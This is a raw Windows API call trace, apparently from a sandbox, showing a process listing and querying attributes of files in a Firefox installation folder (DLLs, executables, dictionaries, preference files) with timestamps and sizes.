	[0055.414] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\defaults\\*", lpFindFileData=0x1241597c | out: lpFindFileData=0x1241597c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaefb46e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf23be40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf23be40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.414] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241599c | out: lpFindFileData=0x1241599c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaefb46e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf23be40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf23be40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.414] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241599c | out: lpFindFileData=0x1241599c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf23be40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf23be40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf23be40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pref", cAlternateFileName="")) returned 1
	[0055.414] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241599c | out: lpFindFileData=0x1241599c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0055.414] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0055.414] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\defaults\\pref" (normalized: "c:\\program files (x86)\\mozilla firefox\\defaults\\pref"), fInfoLevelId=0x0, lpFileInformation=0x1280c918 | out: lpFileInformation=0x1280c918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf23be40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf23be40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf23be40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0055.415] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\defaults\\pref" (normalized: "c:\\program files (x86)\\mozilla firefox\\defaults\\pref"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.415] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\defaults\\pref\\*", lpFindFileData=0x12415918 | out: lpFindFileData=0x12415918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf23be40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf23be40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf23be40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.415] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf23be40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf23be40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf23be40, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.415] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf23be40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf23be40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6390400, ftLastWriteTime.dwHighDateTime=0x1ced1ec, nFileSizeHigh=0x0, nFileSizeLow=0x166, dwReserved0=0x0, dwReserved1=0x0, cFileName="channel-prefs.js", cAlternateFileName="CHANNE~1.JS")) returned 1
	[0055.415] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x12415938 | out: lpFindFileData=0x12415938*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0055.415] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0055.415] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\defaults\\pref\\channel-prefs.js" (normalized: "c:\\program files (x86)\\mozilla firefox\\defaults\\pref\\channel-prefs.js"), fInfoLevelId=0x0, lpFileInformation=0x1280c9b8 | out: lpFileInformation=0x1280c9b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf23be40, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf23be40, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb6390400, ftLastWriteTime.dwHighDateTime=0x1ced1ec, nFileSizeHigh=0x0, nFileSizeLow=0x166)) returned 1
	[0055.416] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\dependentlibs.list" (normalized: "c:\\program files (x86)\\mozilla firefox\\dependentlibs.list"), fInfoLevelId=0x0, lpFileInformation=0x1280ca08 | out: lpFileInformation=0x1280ca08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaefb46e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaefb46e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x52aed680, ftLastWriteTime.dwHighDateTime=0x1ced1ec, nFileSizeHigh=0x0, nFileSizeLow=0x63)) returned 1
	[0055.416] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\dictionaries" (normalized: "c:\\program files (x86)\\mozilla firefox\\dictionaries"), fInfoLevelId=0x0, lpFileInformation=0x1280ca58 | out: lpFileInformation=0x1280ca58*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaefb46e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf215ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf215ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0055.417] CreateFileW (lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\dictionaries" (normalized: "c:\\program files (x86)\\mozilla firefox\\dictionaries"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0055.417] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\*", lpFindFileData=0x1241597c | out: lpFindFileData=0x1241597c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaefb46e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf215ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf215ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0055.417] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241599c | out: lpFindFileData=0x1241599c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaefb46e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf215ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xaf215ce0, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0055.417] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241599c | out: lpFindFileData=0x1241599c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf215ce0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf215ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xf25e6b80, ftLastWriteTime.dwHighDateTime=0x1ced1d0, nFileSizeHigh=0x0, nFileSizeLow=0xcca, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US.aff", cAlternateFileName="")) returned 1
	[0055.417] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241599c | out: lpFindFileData=0x1241599c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf215ce0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf215ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xf25e6b80, ftLastWriteTime.dwHighDateTime=0x1ced1d0, nFileSizeHigh=0x0, nFileSizeLow=0x9863e, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US.dic", cAlternateFileName="")) returned 1
	[0055.417] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x1241599c | out: lpFindFileData=0x1241599c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0055.417] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0055.417] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.aff" (normalized: "c:\\program files (x86)\\mozilla firefox\\dictionaries\\en-us.aff"), fInfoLevelId=0x0, lpFileInformation=0x1280cb48 | out: lpFileInformation=0x1280cb48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf215ce0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf215ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xf25e6b80, ftLastWriteTime.dwHighDateTime=0x1ced1d0, nFileSizeHigh=0x0, nFileSizeLow=0xcca)) returned 1
	[0055.418] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\dictionaries\\en-US.dic" (normalized: "c:\\program files (x86)\\mozilla firefox\\dictionaries\\en-us.dic"), fInfoLevelId=0x0, lpFileInformation=0x1280cb98 | out: lpFileInformation=0x1280cb98*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf215ce0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf215ce0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xf25e6b80, ftLastWriteTime.dwHighDateTime=0x1ced1d0, nFileSizeHigh=0x0, nFileSizeLow=0x9863e)) returned 1
	[0055.418] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\firefox.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\firefox.exe"), fInfoLevelId=0x0, lpFileInformation=0x1280cbe8 | out: lpFileInformation=0x1280cbe8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaefb46e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaefb46e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x25fbbe80, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x43470)) returned 1
	[0055.419] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\freebl3.chk" (normalized: "c:\\program files (x86)\\mozilla firefox\\freebl3.chk"), fInfoLevelId=0x0, lpFileInformation=0x1280cc38 | out: lpFileInformation=0x1280cc38*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaefda840, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaefda840, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x26945500, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x383)) returned 1
	[0055.419] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\freebl3.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\freebl3.dll"), fInfoLevelId=0x0, lpFileInformation=0x1280cc88 | out: lpFileInformation=0x1280cc88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaefda840, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaefda840, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x26945500, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x49c70)) returned 1
	[0055.419] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\gkmedias.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\gkmedias.dll"), fInfoLevelId=0x0, lpFileInformation=0x1280ccd8 | out: lpFileInformation=0x1280ccd8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaefda840, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaefda840, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2ac07280, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x34ca70)) returned 1
	[0055.420] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\install.log" (normalized: "c:\\program files (x86)\\mozilla firefox\\install.log"), fInfoLevelId=0x0, lpFileInformation=0x1280cd28 | out: lpFileInformation=0x1280cd28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaeef6000, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaeef6000, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb125e740, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x5aea)) returned 1
	[0055.421] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\libEGL.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\libegl.dll"), fInfoLevelId=0x0, lpFileInformation=0x1280cd78 | out: lpFileInformation=0x1280cd78*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf04cc60, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf04cc60, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2b590900, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0xfa70)) returned 1
	[0055.421] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\libGLESv2.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\libglesv2.dll"), fInfoLevelId=0x0, lpFileInformation=0x1280cdc8 | out: lpFileInformation=0x1280cdc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf04cc60, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf04cc60, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2c8a3600, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x86270)) returned 1
	[0055.422] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\maintenanceservice.exe"), fInfoLevelId=0x0, lpFileInformation=0x1280ce18 | out: lpFileInformation=0x1280ce18*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf04cc60, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf04cc60, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2d22cc80, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x1d270)) returned 1
	[0055.422] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\maintenanceservice_installer.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\maintenanceservice_installer.exe"), fInfoLevelId=0x0, lpFileInformation=0x1280ce68 | out: lpFileInformation=0x1280ce68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf072dc0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf072dc0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2d22cc80, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x2f7f8)) returned 1
	[0055.423] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\mozalloc.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\mozalloc.dll"), fInfoLevelId=0x0, lpFileInformation=0x1280ceb8 | out: lpFileInformation=0x1280ceb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf072dc0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf072dc0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2e53f980, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x4270)) returned 1
	[0055.423] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\mozglue.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\mozglue.dll"), fInfoLevelId=0x0, lpFileInformation=0x1280cf08 | out: lpFileInformation=0x1280cf08*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf072dc0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf072dc0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x2eec9000, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x1fe70)) returned 1
	[0055.424] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\mozjs.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\mozjs.dll"), fInfoLevelId=0x0, lpFileInformation=0x1280cf58 | out: lpFileInformation=0x1280cf58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf098f20, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf098f20, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x314eea00, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x336470)) returned 1
	[0055.424] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\msvcp100.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\msvcp100.dll"), fInfoLevelId=0x0, lpFileInformation=0x1280cfa8 | out: lpFileInformation=0x1280cfa8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf098f20, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf098f20, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x3809e300, ftLastWriteTime.dwHighDateTime=0x1cac6b6, nFileSizeHigh=0x0, nFileSizeLow=0x66d50)) returned 1
	[0055.425] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\msvcr100.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\msvcr100.dll"), fInfoLevelId=0x0, lpFileInformation=0x1280cff8 | out: lpFileInformation=0x1280cff8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf0bf080, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf0bf080, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x3809e300, ftLastWriteTime.dwHighDateTime=0x1cac6b6, nFileSizeHigh=0x0, nFileSizeLow=0xbc150)) returned 1
	[0055.426] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\nss3.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\nss3.dll"), fInfoLevelId=0x0, lpFileInformation=0x1280d048 | out: lpFileInformation=0x1280d048*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf0bf080, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf0bf080, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x3318ad80, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x1b1870)) returned 1
	[0055.426] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\nssckbi.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\nssckbi.dll"), fInfoLevelId=0x0, lpFileInformation=0x1280d098 | out: lpFileInformation=0x1280d098*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf0bf080, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf0bf080, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x3449da80, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x60070)) returned 1
	[0055.430] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.chk" (normalized: "c:\\program files (x86)\\mozilla firefox\\nssdbm3.chk"), fInfoLevelId=0x0, lpFileInformation=0x1280d0e8 | out: lpFileInformation=0x1280d0e8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf0e51e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf0e51e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x34e27100, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x383)) returned 1
	[0055.430] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\nssdbm3.dll" (normalized: "c:\\program files (x86)\\mozilla firefox\\nssdbm3.dll"), fInfoLevelId=0x0, lpFileInformation=0x1280d138 | out: lpFileInformation=0x1280d138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf0e51e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf0e51e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x34e27100, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x16870)) returned 1
	[0055.431] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\omni.ja" (normalized: "c:\\program files (x86)\\mozilla firefox\\omni.ja"), fInfoLevelId=0x0, lpFileInformation=0x1280d188 | out: lpFileInformation=0x1280d188*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf0e51e0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf0e51e0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x58a5b700, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x771d55)) returned 1
	[0055.431] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\platform.ini" (normalized: "c:\\program files (x86)\\mozilla firefox\\platform.ini"), fInfoLevelId=0x0, lpFileInformation=0x1280d1d8 | out: lpFileInformation=0x1280d1d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf10b340, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf10b340, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb1218800, ftLastWriteTime.dwHighDateTime=0x1ced1df, nFileSizeHigh=0x0, nFileSizeLow=0x8c)) returned 1
	[0055.432] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\plugin-container.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\plugin-container.exe"), fInfoLevelId=0x0, lpFileInformation=0x1280d228 | out: lpFileInformation=0x1280d228*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf1314a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf1314a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x357b0780, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x4870)) returned 1
	[0055.432] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\plugin-hang-ui.exe" (normalized: "c:\\program files (x86)\\mozilla firefox\\plugin-hang-ui.exe"), fInfoLevelId=0x0, lpFileInformation=0x1280d278 | out: lpFileInformation=0x1280d278*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf1314a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf1314a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x36139e00, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x6e70)) returned 1
	[0055.433] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Mozilla Firefox\\precomplete" (normalized: "c:\\program files (x86)\\mozilla firefox\\precomplete"), fInfoLevelId=0x0, lpFileInformation=0x1280d2c8 | out: lpFileInformation=0x1280d2c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xaf1314a0, ftCreationTime.dwHighDateTime=0x1d2dda4, ftLastAccessTime.dwLowDateTime=0xaf1314a0, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0x5c2963ee, ftLastWriteTime.dwHighDateTime=0x1ced1ee, nFileSizeHigh=0x0, nFileSizeLow=0x7e3)) returned 1
